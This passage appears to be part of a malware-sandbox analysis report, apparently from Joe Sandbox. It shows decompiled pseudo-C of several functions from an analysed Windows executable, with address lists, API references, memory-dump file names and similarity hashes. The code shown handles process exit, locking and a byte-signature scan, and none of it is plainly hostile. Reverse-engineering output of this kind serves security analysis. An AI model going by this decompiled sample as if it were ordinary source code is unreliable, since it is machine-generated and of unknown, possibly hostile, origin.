				_t27 =  *0x423400 - _t23; // 0x1
				if(_t27 == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				_t16 = _a12;
				 *0x4233fc = _t23;
				 *0x4233f8 = _t16;
				if(_a8 == 0) {
					_t9 =  *0x425a10; // 0x5204c8
					if(_t9 != 0) {
						_t22 =  *0x425a0c; // 0x5204d0
						_push(_t24);
						_t4 = _t22 - 4; // 0x5204cc
						_t25 = _t4;
						if(_t25 >= _t9) {
							do {
								_t11 =  *_t25;
								if(_t11 != 0) {
									 *_t11();
								}
								_t25 = _t25 - 4;
								_t32 = _t25 -  *0x425a10; // 0x5204c8
							} while (_t32 >= 0);
						}
					}
					E00416D6F(0x420044, 0x420048);
				}
				E00416D6F(0x42004c, 0x420054);
				if(_t16 == 0) {
					 *0x423400 = _t23; // executed
					ExitProcess(_a4);
				}
				return E00416D66();
			}

0x00416cb8
0x00416cb9
0x00416cc0
0x00416cc1
0x00416cc7
0x00416cd4
0x00416cd4
0x00416ce0
0x00416ce4
0x00416cea
0x00416cf0
0x00416cf2
0x00416cf9
0x00416cfb
0x00416d01
0x00416d02
0x00416d02
0x00416d07
0x00416d09
0x00416d09
0x00416d0d
0x00416d0f
0x00416d0f
0x00416d11
0x00416d14
0x00416d14
0x00416d09
0x00416d1c
0x00416d27
0x00416d2d
0x00416d38
0x00416d42
0x00416d4f
0x00416d55
0x00416d55
0x00416d4a

APIs

GetCurrentProcess.KERNEL32(?,?,00416CA3,?,00000000,00000000,00414BED,00000000,00000000), ref: 00416CCD
TerminateProcess.KERNEL32(00000000,?,00416CA3,?,00000000,00000000,00414BED,00000000,00000000), ref: 00416CD4
ExitProcess.KERNEL32 ref: 00416D55

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 88460fada53f43c142527d69cfd7889c6f43d20f3130cd5a4fa53c970b5b43b0
Instruction ID: 207b1b8771569bb39d21ff3be241c2a042127402aedffa1bc22b33ac5a943006
Opcode Fuzzy Hash: 88460fada53f43c142527d69cfd7889c6f43d20f3130cd5a4fa53c970b5b43b0
Instruction Fuzzy Hash: 7A01C4323002119BD630AF69FC86A9A7BA5FB41715BA2802FF45057151DB7CD8C28B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00407093 Relevance: 4.5, APIs: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407093(intOrPtr* __ecx) {
				intOrPtr* _t15;
				void* _t16;
				void* _t22;
				struct _CRITICAL_SECTION* _t23;
				void* _t25;
				intOrPtr* _t26;
				intOrPtr* _t29;
				void* _t30;

				E00413954(E00419874, _t30);
				_t26 = __ecx;
				_t23 = __ecx + 4;
				 *(_t30 - 0x10) = _t23;
				EnterCriticalSection(_t23);
				_t15 =  *_t26;
				 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
				_t16 =  *((intOrPtr*)( *_t15 + 0x10))(_t15,  *((intOrPtr*)(_t30 + 8)),  *((intOrPtr*)(_t30 + 0xc)), 0, 0, _t22, _t25, __ecx);
				if(_t16 == 0) {
					_t29 =  *_t26;
					_t16 =  *((intOrPtr*)( *_t29 + 0xc))(_t29,  *((intOrPtr*)(_t30 + 0x10)),  *((intOrPtr*)(_t30 + 0x14)),  *((intOrPtr*)(_t30 + 0x18)));
				}
				LeaveCriticalSection(_t23);
				 *[fs:0x0] =  *((intOrPtr*)(_t30 - 0xc));
				return _t16;
			}

0x00407098
0x0040709f
0x004070a2
0x004070a6
0x004070a9
0x004070af
0x004070b5
0x004070c2
0x004070c7
0x004070cc
0x004070d7
0x004070d7
0x004070dd
0x004070ea
0x004070f2

APIs

__EH_prolog.LIBCMT ref: 00407098
EnterCriticalSection.KERNEL32(00000000,?,?,?,00407122,?,?,?,?,?), ref: 004070A9
LeaveCriticalSection.KERNEL32(00000000,?,?,?,00407122,?,?,?,?,?), ref: 004070DD

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterH_prologLeave
String ID:
API String ID: 367238759-0
Opcode ID: 0cda8505b6e8737534b09afe540dc97e47590bc95c9c3e0b1678985bbac2a5b2
Instruction ID: a56bdc6fde0de93627b634a906b5586fd045a2fb55df8f4462ae58feb39c4b8d
Opcode Fuzzy Hash: 0cda8505b6e8737534b09afe540dc97e47590bc95c9c3e0b1678985bbac2a5b2
Instruction Fuzzy Hash: D7018176A00204EFCB118F94CC08B9ABBB5FF48715F00841AFD12E7250C3B4A910CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD8B Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E0040DD8B(void* __ecx, void* __eflags) {
				intOrPtr _t57;
				intOrPtr _t65;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t71;
				intOrPtr* _t75;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr _t85;
				intOrPtr _t93;
				void* _t95;
				void* _t98;
				intOrPtr* _t100;
				intOrPtr _t104;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr* _t111;
				void* _t113;
				intOrPtr _t115;
				void* _t116;
				void* _t118;
				void* _t119;
				void* _t121;

				E00413954(E0041A630, _t116);
				_t119 = _t118 - 0x20;
				_t113 = __ecx;
				_t83 = __ecx + 0x28;
				_t107 = 0x20;
				_t57 = E0040776F(__eflags, _t107); // executed
				if(_t57 == 0) {
					if(E0040DF2C(_t83) == 0) {
						__eflags = 0;
						 *((intOrPtr*)(_t116 - 0x2c)) = 0x41b818;
						 *((intOrPtr*)(_t116 - 0x28)) = 0;
						 *((intOrPtr*)(_t116 - 0x24)) = 0;
						 *((intOrPtr*)(_t116 - 4)) = 0;
						E004076D5(_t116 - 0x2c, 0x10000);
						 *((intOrPtr*)(_t116 - 0x18)) =  *((intOrPtr*)(_t116 - 0x24));
						 *((intOrPtr*)(_t116 - 0x10)) = _t107;
						E00414090( *((intOrPtr*)(_t116 - 0x24)), _t83, _t107);
						_t109 =  *((intOrPtr*)(_t113 + 0x20));
						_t85 =  *((intOrPtr*)(_t113 + 0x24));
						_t121 = _t119 + 0xc;
						while(1) {
							L4:
							_t100 =  *((intOrPtr*)(_t116 + 0xc));
							__eflags = _t100;
							if(_t100 == 0) {
								goto L8;
							}
							_t95 = _t109 -  *((intOrPtr*)(_t113 + 0x20));
							asm("sbb eax, [esi+0x24]");
							__eflags = _t85 -  *((intOrPtr*)(_t100 + 4));
							if(__eflags > 0) {
								L25:
								_t115 = 1;
							} else {
								if(__eflags < 0) {
									goto L8;
								} else {
									__eflags = _t95 -  *_t100;
									if(_t95 >  *_t100) {
										goto L25;
									} else {
										while(1) {
											L8:
											_t65 =  *((intOrPtr*)(_t116 - 0x10));
											_t67 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t116 + 8)))) + 0xc))( *((intOrPtr*)(_t116 + 8)), _t65 +  *((intOrPtr*)(_t116 - 0x18)), 0x10000 - _t65, _t116 - 0x20);
											__eflags = _t67;
											if(_t67 != 0) {
												break;
											}
											_t69 =  *((intOrPtr*)(_t116 - 0x20));
											 *((intOrPtr*)(_t116 - 0x10)) =  *((intOrPtr*)(_t116 - 0x10)) + _t69;
											__eflags = _t69;
											if(_t69 == 0) {
												goto L25;
											} else {
												__eflags =  *((intOrPtr*)(_t116 - 0x10)) - 0x20;
												if( *((intOrPtr*)(_t116 - 0x10)) <= 0x20) {
													continue;
												} else {
													_t104 = 0;
													_t71 =  *((intOrPtr*)(_t116 - 0x10)) + 0xffffffe0;
													 *((intOrPtr*)(_t116 - 0x14)) = 0;
													__eflags = _t71;
													 *((intOrPtr*)(_t116 - 0x1c)) = _t71;
													if(_t71 <= 0) {
														_t93 =  *((intOrPtr*)(_t116 - 0x18));
														goto L23;
													} else {
														while(1) {
															_t93 =  *((intOrPtr*)(_t116 - 0x18));
															while(1) {
																L15:
																__eflags =  *((char*)(_t104 + _t93)) - 0x37;
																if( *((char*)(_t104 + _t93)) == 0x37) {
																	break;
																}
																__eflags = _t104 - _t71;
																if(__eflags < 0) {
																	_t104 = _t104 + 1;
																	 *((intOrPtr*)(_t116 - 0x14)) = _t104;
																	continue;
																}
																L19:
																if(__eflags == 0) {
																	L23:
																	_t109 = _t109 + _t71;
																	asm("adc ebx, 0x0");
																	 *((intOrPtr*)(_t116 - 0x10)) =  *((intOrPtr*)(_t116 - 0x10)) - _t71;
																	E00413980(_t93, _t71 + _t93,  *((intOrPtr*)(_t116 - 0x10)));
																	_t121 = _t121 + 0xc;
																	goto L4;
																} else {
																	_t75 = E0040DF2C(_t93 + _t104);
																	__eflags = _t75;
																	if(_t75 != 0) {
																		E00414090(_t113 + 0x28,  *((intOrPtr*)(_t116 - 0x14)) +  *((intOrPtr*)(_t116 - 0x18)), 0x20);
																		_t110 = _t109 +  *((intOrPtr*)(_t116 - 0x14));
																		_t80 =  *((intOrPtr*)(_t116 + 8));
																		 *((intOrPtr*)(_t113 + 0x20)) = _t110;
																		_t98 = 0;
																		asm("adc ebx, ecx");
																		_t111 = _t110 + 0x20;
																		__eflags = _t111;
																		 *((intOrPtr*)(_t113 + 0x24)) = _t85;
																		asm("adc ebx, ecx");
																		_t67 =  *((intOrPtr*)( *_t80 + 0x10))(_t80, _t111, _t85, _t98, _t98);
																		goto L27;
																	} else {
																		 *((intOrPtr*)(_t116 - 0x14)) =  *((intOrPtr*)(_t116 - 0x14)) + 1;
																		__eflags =  *((intOrPtr*)(_t116 - 0x14)) -  *((intOrPtr*)(_t116 - 0x1c));
																		if( *((intOrPtr*)(_t116 - 0x14)) <  *((intOrPtr*)(_t116 - 0x1c))) {
																			_t71 =  *((intOrPtr*)(_t116 - 0x1c));
																			_t104 =  *((intOrPtr*)(_t116 - 0x14));
																			_t93 =  *((intOrPtr*)(_t116 - 0x18));
																			continue;
																		} else {
																			_t93 =  *((intOrPtr*)(_t116 - 0x18));
																			_t71 =  *((intOrPtr*)(_t116 - 0x1c));
																			goto L23;
																		}
																	}
																}
																goto L28;
															}
															__eflags = _t104 - _t71;
															goto L19;
														}
													}
												}
											}
											goto L28;
										}
										L27:
										_t115 = _t67;
									}
								}
							}
							L28:
							 *((intOrPtr*)(_t116 - 0x2c)) = 0x41b818;
							E00403A9C( *((intOrPtr*)(_t116 - 0x24)));
							_t57 = _t115;
							goto L29;
						}
					} else {
						_t57 = 0;
					}
				}
				L29:
				 *[fs:0x0] =  *((intOrPtr*)(_t116 - 0xc));
				return _t57;
			}

0x0040dd90
0x0040dd95
0x0040dd9b
0x0040dda2
0x0040dda5
0x0040dda9
0x0040ddb0
0x0040ddbf
0x0040ddc8
0x0040ddca
0x0040ddd1
0x0040ddd4
0x0040dddf
0x0040dde2
0x0040dded
0x0040ddf0
0x0040ddf3
0x0040ddf8
0x0040ddfb
0x0040ddfe
0x0040de01
0x0040de01
0x0040de01
0x0040de04
0x0040de06
0x00000000
0x00000000
0x0040de0c
0x0040de0f
0x0040de12
0x0040de15
0x0040decb
0x0040decd
0x0040de1b
0x0040de1b
0x00000000
0x0040de1d
0x0040de1d
0x0040de1f
0x00000000
0x0040de25
0x0040de25
0x0040de25
0x0040de33
0x0040de42
0x0040de45
0x0040de47
0x00000000
0x00000000
0x0040de4d
0x0040de50
0x0040de53
0x0040de55
0x00000000
0x0040de57
0x0040de57
0x0040de5b
0x00000000
0x0040de5d
0x0040de60
0x0040de62
0x0040de65
0x0040de68
0x0040de6a
0x0040de6d
0x0040dec6
0x00000000
0x0040de6f
0x0040de77
0x0040de77
0x0040de7a
0x0040de7a
0x0040de7a
0x0040de7e
0x00000000
0x00000000
0x0040de80
0x0040de82
0x0040de84
0x0040de85
0x00000000
0x0040de85
0x0040de8c
0x0040de8c
0x0040deaa
0x0040deaa
0x0040deac
0x0040deaf
0x0040deb9
0x0040debe
0x00000000
0x0040de8e
0x0040de90
0x0040de95
0x0040de97
0x0040dedf
0x0040dee7
0x0040deea
0x0040deef
0x0040def2
0x0040def3
0x0040def5
0x0040def5
0x0040def8
0x0040deff
0x0040df04
0x00000000
0x0040de99
0x0040de99
0x0040de9f
0x0040dea2
0x0040de71
0x0040de74
0x0040de77
0x00000000
0x0040dea4
0x0040dea4
0x0040dea7
0x00000000
0x0040dea7
0x0040dea2
0x0040de97
0x00000000
0x0040de8c
0x0040de8a
0x00000000
0x0040de8a
0x0040de77
0x0040de6d
0x0040de5b
0x00000000
0x0040de55
0x0040df07
0x0040df07
0x0040df07
0x0040de1f
0x0040de1b
0x0040df09
0x0040df0c
0x0040df13
0x0040df19
0x00000000
0x0040df19
0x0040ddc1
0x0040ddc1
0x0040ddc1
0x0040ddbf
0x0040df1b
0x0040df21
0x0040df29

APIs

__EH_prolog.LIBCMT ref: 0040DD90

Strings

, xrefs: 0040DE57

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-3916222277
Opcode ID: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
Instruction ID: cf89379ab294d4739916b9706e3dd1d7b183837ff3903d8a06049ba810aa014c
Opcode Fuzzy Hash: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
Instruction Fuzzy Hash: 19515E71E006069BDB14DFA9C881ABFB7B5EF98304F14853AE405BB381D778A9458BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00403113 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00403113(intOrPtr* __ecx, void* __eflags) {
				void* _t63;
				intOrPtr _t64;
				intOrPtr _t68;
				intOrPtr _t73;
				intOrPtr* _t82;
				void* _t85;
				void* _t87;
				void* _t121;
				void* _t124;
				intOrPtr _t126;
				intOrPtr* _t129;
				void* _t131;

				E00413954(E004192B0, _t131);
				_t129 = __ecx;
				E00402EE1(_t131 - 0x40);
				_push( *((intOrPtr*)(__ecx + 4)));
				 *((intOrPtr*)(_t131 - 4)) = 0;
				_t63 = E00405841(_t131 - 0x68, _t121); // executed
				if(_t63 != 0) {
					_t64 =  *((intOrPtr*)(__ecx + 0x1c));
					__eflags = _t64;
					if(_t64 == 0) {
						 *((intOrPtr*)(_t131 - 0x10)) = 0;
					} else {
						 *((intOrPtr*)(_t131 - 0x10)) = _t64 + 4;
					}
					E004032A8(_t131 - 0x30, 4);
					 *((intOrPtr*)(_t131 - 0x30)) = 0x41b378;
					_t126 = _t129 + 0x28;
					 *((char*)(_t131 - 4)) = 1;
					_t68 = E00408F0A(_t126,  *_t129, _t131 - 0x30, 0, 0, _t129 + 4,  *((intOrPtr*)(_t131 - 0x10))); // executed
					 *((intOrPtr*)(_t129 + 0x60)) = _t68;
					 *((char*)(_t131 - 4)) = 0;
					E004042AD(_t131 - 0x30);
					__eflags =  *((intOrPtr*)(_t129 + 0x60));
					if( *((intOrPtr*)(_t129 + 0x60)) == 0) {
						E00401CE1(_t131 - 0x1c, _t129 + 0x10);
						 *((char*)(_t131 - 4)) = 2;
						E00405D0B(_t131 - 0x1c);
						_t73 = E004049DD( *((intOrPtr*)(_t131 - 0x1c))); // executed
						__eflags = _t73;
						if(__eflags != 0) {
							E00401C80(_t131 - 0x28, L"Default");
							 *((char*)(_t131 - 4)) = 4;
							E00402685( *((intOrPtr*)(_t129 + 0x1c)),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t126 + 0xc)) +  *(_t126 + 8) * 4 - 4)))), _t131 - 0x1c, _t131 - 0x28, _t131 - 0x50, 0);
							 *((char*)(_t131 - 4)) = 2;
							E00403A9C( *((intOrPtr*)(_t131 - 0x28)));
							_t82 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t126 + 0xc)) +  *(_t126 + 8) * 4 - 4))));
							 *((intOrPtr*)(_t129 + 0x60)) =  *((intOrPtr*)( *_t82 + 0x1c))(_t82, 0, 0xffffffff, 0,  *((intOrPtr*)(_t129 + 0x20)));
							E00403A9C( *((intOrPtr*)(_t131 - 0x1c)));
							_t85 = E00403A9C( *((intOrPtr*)(_t131 - 0x40)));
							goto L11;
						} else {
							_push(_t131 - 0x1c);
							_t124 = 9;
							_t87 = E00409569(_t131 - 0x28, _t124, __eflags);
							 *((char*)(_t131 - 4)) = 3;
							E00401D7A(_t129 + 0x64, _t87);
							E00403A9C( *((intOrPtr*)(_t131 - 0x28)));
							 *((intOrPtr*)(_t129 + 0x60)) = 0x80004005;
							E00403A9C( *((intOrPtr*)(_t131 - 0x1c)));
							_t85 = E00403A9C( *((intOrPtr*)(_t131 - 0x40)));
						}
					} else {
						E00401D1B(_t129 + 0x64,  *0x420320);
						goto L7;
					}
				} else {
					E00401D1B(__ecx + 0x64,  *0x42031c);
					 *((intOrPtr*)(__ecx + 0x60)) = 0x80004005;
					L7:
					_t85 = E00403A9C( *((intOrPtr*)(_t131 - 0x40)));
					L11:
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t131 - 0xc));
				return _t85;
			}

0x00403118
0x00403122
0x00403128
0x0040312d
0x00403135
0x00403138
0x0040313f
0x00403158
0x0040315b
0x0040315d
0x00403167
0x0040315f
0x00403162
0x00403162
0x0040316f
0x00403174
0x00403181
0x00403184
0x00403193
0x0040319b
0x0040319e
0x004031a1
0x004031a6
0x004031a9
0x004031cd
0x004031d5
0x004031d9
0x004031e1
0x004031e6
0x004031e8
0x00403232
0x0040323e
0x00403258
0x00403260
0x00403264
0x00403279
0x00403287
0x0040328a
0x00403292
0x00000000
0x004031ea
0x004031f0
0x004031f3
0x004031f4
0x004031fd
0x00403201
0x00403209
0x00403211
0x00403218
0x00403220
0x00403225
0x004031ab
0x004031b4
0x00000000
0x004031b4
0x00403141
0x0040314a
0x0040314f
0x004031b9
0x004031bc
0x00403298
0x00403298
0x0040329f
0x004032a7

APIs

__EH_prolog.LIBCMT ref: 00403118

Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846

Part of subcall function 004049DD: __EH_prolog.LIBCMT ref: 004049E2

Part of subcall function 00409569: __EH_prolog.LIBCMT ref: 0040956E

Strings

Default, xrefs: 0040322A

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID: Default
API String ID: 3519838083-753088835
Opcode ID: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
Instruction ID: 6c236086827897a16f525891fa60e3e62c5941a793998487ad20a929e2e28791
Opcode Fuzzy Hash: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
Instruction Fuzzy Hash: 76516071900609EFCB10EFA5D8859EEBBB8FF08318F00456FE45277291DB38AA05CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00402F15 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00402F15(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _t57;
				void* _t73;
				intOrPtr _t90;
				void* _t109;
				intOrPtr _t115;
				intOrPtr _t116;
				void* _t118;

				E00413954(E00419269, _t118);
				 *((char*)( *((intOrPtr*)(_t118 + 0x10)))) = 0;
				E00403376(_t118 - 0x94);
				 *(_t118 - 4) = 0;
				 *((intOrPtr*)(_t118 - 0x94)) = __ecx;
				E00401D7A(_t118 - 0x90, __edx);
				E00401D7A(_t118 - 0x84,  *((intOrPtr*)(_t118 + 8)));
				_push(0xf0);
				_t90 = E00403A76();
				 *((intOrPtr*)(_t118 + 8)) = _t90;
				 *(_t118 - 4) = 1;
				if(_t90 == 0) {
					_t57 = 0;
					__eflags = 0;
				} else {
					_t57 = E004034E3(_t90);
				}
				 *(_t118 - 4) = 0;
				 *((intOrPtr*)(_t118 - 0x78)) = _t57;
				E0040640D(_t118 - 0x74, _t57);
				if( *((intOrPtr*)(_t118 + 0xc)) == 0) {
					E00403113(_t118 - 0x94, __eflags);
					goto L8;
				} else {
					 *((intOrPtr*)( *((intOrPtr*)(_t118 - 0x78)) + 0xd8)) = 1;
					 *((intOrPtr*)(_t118 + 0xc)) = 0;
					 *(_t118 - 4) = 2;
					_t116 = E00413220(_t118 + 0xc, E004032E1, _t118 - 0x94);
					if(_t116 == 0) {
						 *((intOrPtr*)(_t118 - 0x18)) = 0;
						 *((intOrPtr*)(_t118 - 0x14)) = 0;
						 *((intOrPtr*)(_t118 - 0x10)) = 0;
						E00402170(_t118 - 0x18, 3);
						_t109 = 0x45;
						 *(_t118 - 4) = 3;
						_t73 = E0040602F(_t109);
						 *(_t118 - 4) = 4;
						E00401D7A(_t118 - 0x18, _t73);
						 *(_t118 - 4) = 3;
						E00403A9C( *((intOrPtr*)(_t118 - 0x24)));
						_push(_t118 + 0xc);
						_push(_t118 - 0x18);
						E0040309D( *((intOrPtr*)(_t118 - 0x78)));
						E00403A9C( *((intOrPtr*)(_t118 - 0x18)));
						 *(_t118 - 4) = 0;
						E004131E0(_t118 + 0xc);
						L8:
						_t38 = _t118 + 0x14; // 0x414be4
						_t115 =  *_t38;
						E00401D7A(_t115, _t118 - 0x30);
						__eflags =  *((intOrPtr*)(_t115 + 4));
						if(__eflags == 0) {
							__eflags =  *((intOrPtr*)(_t118 - 0x78)) + 0xe4;
							E00401D7A(_t115,  *((intOrPtr*)(_t118 - 0x78)) + 0xe4);
						}
						_t116 =  *((intOrPtr*)(_t118 - 0x34));
						 *((char*)( *((intOrPtr*)(_t118 + 0x10)))) =  *((intOrPtr*)( *((intOrPtr*)(_t118 - 0x78)) + 0xe0));
					} else {
						E004131E0(_t118 + 0xc);
					}
				}
				 *(_t118 - 4) =  *(_t118 - 4) | 0xffffffff;
				E0040348A(_t118 - 0x94,  *(_t118 - 4));
				 *[fs:0x0] =  *((intOrPtr*)(_t118 - 0xc));
				return _t116;
			}

0x00402f1a
0x00402f37
0x00402f39
0x00402f45
0x00402f48
0x00402f4e
0x00402f5c
0x00402f61
0x00402f6c
0x00402f6e
0x00402f73
0x00402f77
0x00402f80
0x00402f80
0x00402f79
0x00402f79
0x00402f79
0x00402f86
0x00402f89
0x00402f8c
0x00402f94
0x0040303d
0x00000000
0x00402f9a
0x00402f9d
0x00402fa7
0x00402fb9
0x00402fc2
0x00402fc6
0x00402fda
0x00402fdd
0x00402fe0
0x00402fe3
0x00402fed
0x00402fee
0x00402ff2
0x00402ffb
0x00402fff
0x00403004
0x0040300b
0x00403017
0x0040301b
0x0040301c
0x00403024
0x0040302a
0x00403030
0x00403042
0x00403042
0x00403042
0x0040304b
0x00403050
0x00403053
0x0040305a
0x00403060
0x00403060
0x0040306b
0x00403074
0x00402fc8
0x00402fcb
0x00402fcb
0x00402fc6
0x00403076
0x00403080
0x0040308d
0x00403095

APIs

__EH_prolog.LIBCMT ref: 00402F1A

Part of subcall function 00403376: __EH_prolog.LIBCMT ref: 0040337B

Part of subcall function 004034E3: __EH_prolog.LIBCMT ref: 004034E8

Part of subcall function 0040309D: __EH_prolog.LIBCMT ref: 004030A2
Part of subcall function 0040309D: ShowWindow.USER32(00414BE4,00000001,000001F4,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004030FB

Part of subcall function 004131E0: CloseHandle.KERNEL32(00000000,00000000,00403035,?,?,00000000,00000003,?,00000000,?,?,00000000,00000000,00000000), ref: 004131EA
Part of subcall function 004131E0: GetLastError.KERNEL32(?,00000000,00000000,00000000), ref: 004131F4

Strings

KA, xrefs: 00403042

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog$CloseErrorHandleLastShowWindow
String ID: KA
API String ID: 2740091781-4133974868
Opcode ID: 4e9039a6ef41e593bfbb802c2a04a2fdc835dade45d0606e7df40fddacf7360b
Instruction ID: b66072ba2aa71961cefff889ac2f3310996ab01b533407b8592e0c78779ee57e
Opcode Fuzzy Hash: 4e9039a6ef41e593bfbb802c2a04a2fdc835dade45d0606e7df40fddacf7360b
Instruction Fuzzy Hash: 2F41AF31900249DBCB11EFA5C991AEDBBB8AF14314F1480BFE906B72D2DB385B45CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00408902 Relevance: 3.1, APIs: 2, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00408902(intOrPtr* __ecx) {
				long _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				intOrPtr* _t39;
				intOrPtr* _t43;
				intOrPtr* _t59;
				long _t62;
				intOrPtr* _t64;
				void* _t65;

				E00413954(E00419B00, _t65);
				_push(__ecx);
				_push(__ecx);
				_t59 = __ecx;
				 *((intOrPtr*)(_t65 - 0x14)) = 0;
				 *(_t65 - 4) = 0;
				 *((intOrPtr*)(_t65 - 0x10)) = 0;
				 *(_t65 - 4) = 1;
				if( *((intOrPtr*)(_t65 + 0x10)) == 0) {
					if( *((intOrPtr*)(_t65 + 0x14)) != 0) {
						goto L12;
					} else {
						_push(0x10);
						_t39 = E00403A76();
						if(_t39 == 0) {
							_t64 = 0;
						} else {
							 *((intOrPtr*)(_t39 + 4)) = 0x41b5e8;
							 *((intOrPtr*)(_t39 + 8)) = 0;
							 *(_t39 + 0xc) =  *(_t39 + 0xc) | 0xffffffff;
							 *_t39 = 0x41b494;
							 *((intOrPtr*)(_t39 + 4)) = 0x41b484;
							_t64 = _t39;
						}
						E0040640D(_t65 - 0x14, _t64);
						if(E00406434(_t64,  *((intOrPtr*)(_t59 + 4))) != 0) {
							 *((intOrPtr*)(_t65 + 0x14)) =  *((intOrPtr*)(_t65 - 0x14));
							goto L12;
						} else {
							_t33 = GetLastError();
						}
					}
				} else {
					_push(8);
					_t43 = E00403A76();
					if(_t43 == 0) {
						_t43 = 0;
					} else {
						 *((intOrPtr*)(_t43 + 4)) = 0;
